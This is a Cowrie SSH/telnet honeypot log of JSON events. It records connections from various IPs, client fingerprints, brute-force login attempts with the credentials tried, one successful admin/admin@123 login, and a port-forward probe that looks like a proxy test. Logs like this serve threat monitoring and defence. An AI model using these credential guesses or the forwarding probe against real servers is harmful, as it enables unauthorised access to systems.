{"eventid":"cowrie.session.connect","src_ip":"85.107.70.57","src_port":7078,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b417affbde7","protocol":"telnet","message":"New connection: 85.107.70.57:7078 (159.203.135.109:23) [session: 9b417affbde7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:51.720237Z"}
{"eventid":"cowrie.session.closed","duration":51.48686242103577,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:52.380441Z","src_ip":"152.42.224.71","session":"009d911c6233","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.71162486076355,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:55.130080Z","src_ip":"152.42.224.71","session":"d5c68e5613b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":57170,"dst_ip":"10.17.0.5","dst_port":22,"session":"367303e88fae","protocol":"ssh","message":"New connection: 43.135.139.74:57170 (10.17.0.5:22) [session: 367303e88fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:55.949849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:55.954605Z","src_ip":"43.135.139.74","session":"367303e88fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:56.023078Z","src_ip":"43.135.139.74","session":"367303e88fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2056","message":"login attempt [root/2056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:56.328509Z","src_ip":"43.135.139.74","session":"367303e88fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:57.400690Z","src_ip":"43.135.139.74","session":"367303e88fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34410,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9e500990cb1","protocol":"telnet","message":"New connection: 152.42.224.71:34410 (10.17.0.5:23) [session: e9e500990cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:58.057085Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a979c22ec766","protocol":"telnet","message":"New connection: 152.42.224.71:34422 (10.17.0.5:23) [session: a979c22ec766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:00.402870Z"}
{"eventid":"cowrie.session.closed","duration":51.59044361114502,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:02.820048Z","src_ip":"152.42.224.71","session":"1bd35bf997cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.70164942741394,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:05.421762Z","src_ip":"85.107.70.57","session":"9b417affbde7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35340,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f2fcf431008","protocol":"telnet","message":"New connection: 152.42.224.71:35340 (10.17.0.5:23) [session: 6f2fcf431008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:09.665819Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35348,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9e42a41587","protocol":"telnet","message":"New connection: 152.42.224.71:35348 (10.17.0.5:23) [session: ff9e42a41587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:10.246627Z"}
{"eventid":"cowrie.session.closed","duration":59.16934084892273,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:17.757443Z","src_ip":"152.42.224.71","session":"b6728ea61825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42848,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e20c689374","protocol":"telnet","message":"New connection: 152.42.224.71:42848 (10.17.0.5:23) [session: 00e20c689374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:20.901599Z"}
{"eventid":"cowrie.session.closed","duration":102.21459031105042,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:22.660538Z","src_ip":"152.42.224.71","session":"bf68c7df9bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":49402,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fd8a9aa6cc","protocol":"ssh","message":"New connection: 165.154.227.158:49402 (10.17.0.5:22) [session: 01fd8a9aa6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:22.916426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:22.920968Z","src_ip":"165.154.227.158","session":"01fd8a9aa6cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:23.135051Z","src_ip":"165.154.227.158","session":"01fd8a9aa6cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saulo","message":"login attempt [root/saulo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:24.022842Z","src_ip":"165.154.227.158","session":"01fd8a9aa6cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:25.239926Z","src_ip":"165.154.227.158","session":"01fd8a9aa6cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0029456615448,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:27.274227Z","src_ip":"152.42.224.71","session":"b6a5ef806d04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00179672241211,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:28.326781Z","src_ip":"152.42.224.71","session":"0f0bfa69a863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00435161590576,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:31.807953Z","src_ip":"152.42.224.71","session":"13c95d4f9620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":60144,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2bb4fd6e4b6","protocol":"ssh","message":"New connection: 165.154.6.86:60144 (10.17.0.5:22) [session: b2bb4fd6e4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:34.821875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:34.826582Z","src_ip":"165.154.6.86","session":"b2bb4fd6e4b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:35.049681Z","src_ip":"165.154.6.86","session":"b2bb4fd6e4b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456","message":"login attempt [root/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:35.973994Z","src_ip":"165.154.6.86","session":"b2bb4fd6e4b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:37.199825Z","src_ip":"165.154.6.86","session":"b2bb4fd6e4b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":55218,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1f1d392faae","protocol":"ssh","message":"New connection: 52.236.56.129:55218 (10.17.0.5:22) [session: e1f1d392faae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:41.522342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:41.528367Z","src_ip":"52.236.56.129","session":"e1f1d392faae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:41.594681Z","src_ip":"52.236.56.129","session":"e1f1d392faae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dhan","message":"login attempt [root/dhan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:41.893240Z","src_ip":"52.236.56.129","session":"e1f1d392faae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:42.964126Z","src_ip":"52.236.56.129","session":"e1f1d392faae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.66806983947754,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:43.392713Z","src_ip":"152.42.224.71","session":"25d9dd00c42b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":42968,"dst_ip":"159.203.135.109","dst_port":22,"session":"907d19dfd9ce","protocol":"ssh","message":"New connection: 31.57.216.23:42968 (159.203.135.109:22) [session: 907d19dfd9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.006507Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.015925Z","src_ip":"31.57.216.23","session":"907d19dfd9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":42984,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd40395675fa","protocol":"ssh","message":"New connection: 31.57.216.23:42984 (159.203.135.109:22) [session: bd40395675fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.185647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.189985Z","src_ip":"31.57.216.23","session":"bd40395675fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.292719Z","src_ip":"31.57.216.23","session":"bd40395675fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.640536Z","src_ip":"31.57.216.23","session":"bd40395675fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.216.23","dst_port":80,"src_ip":"31.57.216.23","src_port":5555,"message":"direct-tcp connection request to 31.57.216.23:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.748173Z","session":"bd40395675fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.216.23","dst_port":80,"data":"b'DKJrf1KMcUlVt0FRDcIG41IkTmZoyx4YHq6q590ZmgopdiilJr'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.216.23:80 with data b'DKJrf1KMcUlVt0FRDcIG41IkTmZoyx4YHq6q590ZmgopdiilJr'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.852615Z","src_ip":"31.57.216.23","session":"bd40395675fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.959068Z","src_ip":"31.57.216.23","session":"bd40395675fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.7470121383667,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:50.993539Z","src_ip":"152.42.224.71","session":"ff9e42a41587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59098,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e18e0dcdfb","protocol":"telnet","message":"New connection: 152.42.224.71:59098 (10.17.0.5:23) [session: 37e18e0dcdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:51.072623Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":51902,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea66c25cad0","protocol":"ssh","message":"New connection: 117.121.214.50:51902 (10.17.0.5:22) [session: 9ea66c25cad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:51.770990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:51.775644Z","src_ip":"117.121.214.50","session":"9ea66c25cad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:52.022447Z","src_ip":"117.121.214.50","session":"9ea66c25cad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkimujgik","message":"login attempt [root/dkimujgik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:53.037115Z","src_ip":"117.121.214.50","session":"9ea66c25cad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59104,"dst_ip":"10.17.0.5","dst_port":23,"session":"753a25ddc297","protocol":"telnet","message":"New connection: 152.42.224.71:59104 (10.17.0.5:23) [session: 753a25ddc297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:53.498161Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":44496,"dst_ip":"159.203.135.109","dst_port":22,"session":"685192403a03","protocol":"ssh","message":"New connection: 103.27.238.114:44496 (159.203.135.109:22) [session: 685192403a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:54.169088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:23:54.173900Z","src_ip":"103.27.238.114","session":"685192403a03","protocol":"ssh"}
